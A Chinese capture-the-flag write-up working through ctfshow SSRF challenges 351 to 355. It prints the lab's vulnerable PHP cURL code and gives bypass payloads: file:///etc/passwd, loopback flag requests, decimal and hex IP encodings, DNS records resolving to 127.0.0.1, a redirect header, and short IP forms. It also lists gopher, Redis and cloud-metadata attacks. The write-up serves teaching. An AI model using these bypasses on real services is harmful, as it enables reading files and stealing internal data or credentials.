ctfshow靶场SSRF部分——基础绕过到协议攻击解题思路与技巧(一)

本文以ctfshow靶场SSRF专栏为例,探讨PHP环境下基于cURL组件引发的请求伪造漏洞。内容重点分析正则表达式过滤缺陷、数字黑名单绕过、DNS重绑定(DNS Rebinding)技术原理,以及利用IP缩写突破主机名长度限制的底层逻辑。

文章目录


SSRF介绍

什么是 SSRF

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造指令,并最终由服务端发起请求的安全漏洞;其核心本质是攻击者利用存在安全缺陷的 Web 应用程序作为跳板或代理,去访问和攻击那些原本对外部网络不可见、攻击者自身无法直接触及的内部网络或本地系统。

原理与作用

它的作用机制在于信任的滥用:当目标 Web 服务提供了从其他服务器获取数据的功能(例如图片远程拉取、网页翻译、Webhook 集成),却未能对用户传入的目标 URL 及其协议进行严格的校验与过滤时,攻击者便可以随意篡改这个 URL,迫使服务端乖乖"听令",代替攻击者向指定的任意地址发起网络请求。

攻击用途

在实战场景中,攻击者主要将其用作突破边界防御的内网渗透利器,具体用途包括对受保护的内网进行大规模的资产探活与端口扫描、利用伪协议读取目标服务器本地的敏感配置文件(如密码本、数据库连接信息),以及对内网中缺乏身份验证的脆弱服务(如 Redis、MySQL、未授权的 API)发送恶意数据包。


Web351

SSRF开始啦

这里我们打开页面,得到如下结果:

内容如下:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo($result);
?

代码解释:

  • 接收输入:$url = $_POST['url'] 获取用户POST提交的URL参数
  • 漏洞核心:curl_init($url) 直接将用户可控URL传入cURL发起请求
  • 执行请求:curl_exec($ch) 发送网络请求并获取目标响应

这是一道经典的 SSRF (Server-Side Request Forgery,服务端请求伪造) 题目:

常见的SSRF渗透思路通常有以下几步:

  1. 读取本地文件: 利用 file:// 协议,直接读取系统配置文件(如 /etc/passwd)或目录下的 Flag。
  2. 探测内网资产: 借助 http:// 扫描内网存活主机与开放端口(如 6379, 3306),寻找未授权访问目标。
  3. 深度打击内网 (RCE): 使用万金油协议 gopher://dict://,构造恶意数据流攻击内网的 Redis、MySQL 等组件,获取服务器权限。
  4. 获取后端源码: 结合 php://filter 伪协议,将目标代码(如 flag.php)Base64 编码后读出,绕过 PHP 解析引擎。
  5. 云环境窃密(特殊场景): 若目标位于公有云,尝试请求 http://169.254.169.254 窃取云实例的元数据及控制台密钥。

解题思路

根据上述,我们尝试读取一下本地文件file://

bash 复制代码
url=file:///etc/passwd

得到结果:

随后尝试一下读取flag文件

有时候题目会限制外部网络访问,但允许本地访问(Bypass Localhost Restrictions)。有些 flag 可能藏在只有 127.0.0.1 才能访问的页面里。

这里比较幸运,通过本地回环得到了flag:

bash 复制代码
url=http://127.0.0.1/flag.php

成功得到flag:

Web352

来到下一题,还是首先观察一下题目:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

代码解释:

  1. 协议限制: :
    if($x['scheme'] === 'http' || $x['scheme']==='https') 检查 URL 必须以 http:// 或 https:// 开头。这是为了防止攻击者使用 file://(读取本地文件)或 dict:// 等其他危险协议。

  2. 黑名单过滤失效(语法错误)
    if(!preg_match('/localhost|127.0.0/')) 这一行中,preg_match 函数漏写了第二个参数 (应该写成 preg_match('...', $url))。这导致该函数执行失败返回 false,再经过 ! 取反后永远为 true,使得针对 localhost 和内网 IP 的拦截完全失效。

  3. 任意请求执行

    防御失效后,代码直接通过 curl_exec($url) 去请求用户完全可控的 URL,并输出结果。

漏洞后果 :攻击者可以传入 [http://127.0.0.1](http://127.0.0.1) 或其他内网地址,利用这台服务器作为跳板,直接读取和探测它的本地或内网敏感服务。

解题思路

既然由于代码本身的逻辑,导致 if(!preg_match('/localhost|127.0.0/')) 限制失败,所以我们还是可以用上一关的相同payload:

bash 复制代码
url=http://127.0.0.1/flag.php

成功拿到flag;

Web353

我们打开新一关,发现代码发生了变化:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

代码解释:

虽然这次 preg_match('/localhost|127\.0\.|\。/i', $url) 语法写对了,但仅拦截了 localhost127.0.句号 。,这种基于表面字符串的防御非常脆弱。

解题思路

我们只需换种写法,不触发这些关键字,依然能让服务器请求本地或内网:

  1. IP 进制转换 :将 127.0.0.1 转换为十进制形式(如 http://2130706433)或十六进制形式(如 http://0x7f000001)。
  2. 缺省 IP 写法 :在很多系统上,使用 http://0.0.0.0 甚至直接简写为 http://0 都能直接访问本地服务。
  3. 域名解析(DNS 欺骗) :攻击者可以用一个指向 127.0.0.1 的公网域名(例如 http://localtest.me 或攻击者自己配置的域名),直接绕过所有 IP 字符限制。
bash 复制代码
# payload
url=http://2130706433/flag.php
url=http://0x7f000001/flag.php
url=http://0.0.0.0/flag.php

使用以上payload都可以得到flag:

Web354

同理,我们还是先看代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

与上一关相比,唯一的区别在于黑名单正则表达式变得极其严格

  • 上一关过滤规则'/localhost|127\.0\.|\。/i' (主要防普通的 127.0 开头的 IP)
  • 本关过滤规则'/localhost|1|0|。/i' (直接拉黑了数字 10

区别与脆弱性影响

直接过滤掉 10,使得上一关常用的 IP 变形手法(如 127.10.0.0.0、十进制 2130706433、十六进制 0x7f000001 等)全部失效

解题思路

依然存在 SSRF 漏洞 ,因为拦截的只是字符串表面。攻击者可以注册一个完全不包含数字 1 和 0 的域名(例如 [http://my-domain.net](http://my-domain.net)),并在自己的 DNS 服务器上将该域名解析到 127.0.0.1,即可完美绕过这层过滤。

bash 复制代码
方法一:将域名A类指向127.0.0.1
http(s)://sudo.cc/指向127.0.0.1

url=http://sudo.cc/flag.php

方法二:
<?php header("Location: http://127.0.0.1/flag.php");
# POST: url=http://your-domain/ssrf.php

方法三:DNSlog平台绑定127.0.0.1

这里我们也可以自己去找个DNSlog平台(注意域名里不能有1):

随后绑定DNS为:127.0.0.1,当你需要让域名解析到你刚才绑定的 127.0.0.1 时,需要在你的专属标识符(Identifier)前加上 r.

bash 复制代码
url=http://r.xxx.ceye.io/flag.php

成功返回结果:

成功拿到结果;

Web355

我们还是先看代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

与上一关相比,最大的区别在于防御机制由"关键字黑名单"变成了"主机名长度限制"

  • 上一关:通过正则过滤字符(不能有 1、0 等),你用自定义的 CEYE 域名绕过了。
  • 本关(区别) :去掉了正则过滤,改为提取 URL 中的 host(主机名/IP部分),并严格限制它的长度必须小于或等于 5 (strlen($host) <= 5)。

区别与脆弱性影响

由于长度被限制在 5 以内,你上一关用的 CEYE 域名(如 r.gojo4j.ceye.io,长度为 16)在这里就行不通了,会被直接拦截。

绕过思路

但漏洞依然存在 ,因为攻击者可以使用极其简短的 IP 缩写形式 来绕过长度限制访问本地服务,例如:

  1. http://127.1127.1 长度刚好是 5,在网络请求中会自动补全等效于 127.0.0.1)。
  2. http://00 长度只有 1,在多数 Linux 服务器环境下,http://0 会直接解析为访问本地 127.0.0.10.0.0.0)。

这里我们直接执行payload:

bash 复制代码
url=http://127.1/flag.php
url=http://0/flag.php

成功得到结果:

总结

本文以ctfshow靶场SSRF专栏为例,探讨PHP环境下基于cURL组件引发的请求伪造漏洞。内容重点分析正则表达式过滤缺陷、数字黑名单绕过、DNS重绑定(DNS Rebinding)技术原理,以及利用IP缩写突破主机名长度限制的底层逻辑。

期待下次再见;

相关推荐
counterxing1 小时前
AI Agent 做长任务,问题到底 出在哪?
前端·后端·ai编程
漂流瓶jz1 小时前
从TailwindCSS到UnoCSS:原子化CSS框架接入、特性与配置
前端·css·react.js
Mr_Swilder1 小时前
01:按步解析 —— 绘制固定三角形
前端
原鸣清2 小时前
Swift 面试高频五连问:Optional、Task、Actor、Concurrency 和 OC 差异
前端
现代野蛮人2 小时前
【深度学习】 —— VGG-16 网络实现猫狗识别
网络·人工智能·python·深度学习·tensorflow
前端Hardy2 小时前
谁还没⽤过shadcn/ui?114k+星标,不装NPM包,前端组件自由终于实现了
前端·javascript·vue.js
2301_780789662 小时前
“数字珍珠港”再现:西北能源基地DNS篡改事件深度复盘与防护升级
运维·服务器·网络·tcp/ip·网络安全·智能路由器·能源
morestrive2 小时前
基于 fabric.js 实现浏览器端矢量 PDF 导出
前端·github
ShiMetaPi2 小时前
OpenClaw 部署指南:四种部署模式解析与安全加固建议
安全·open claw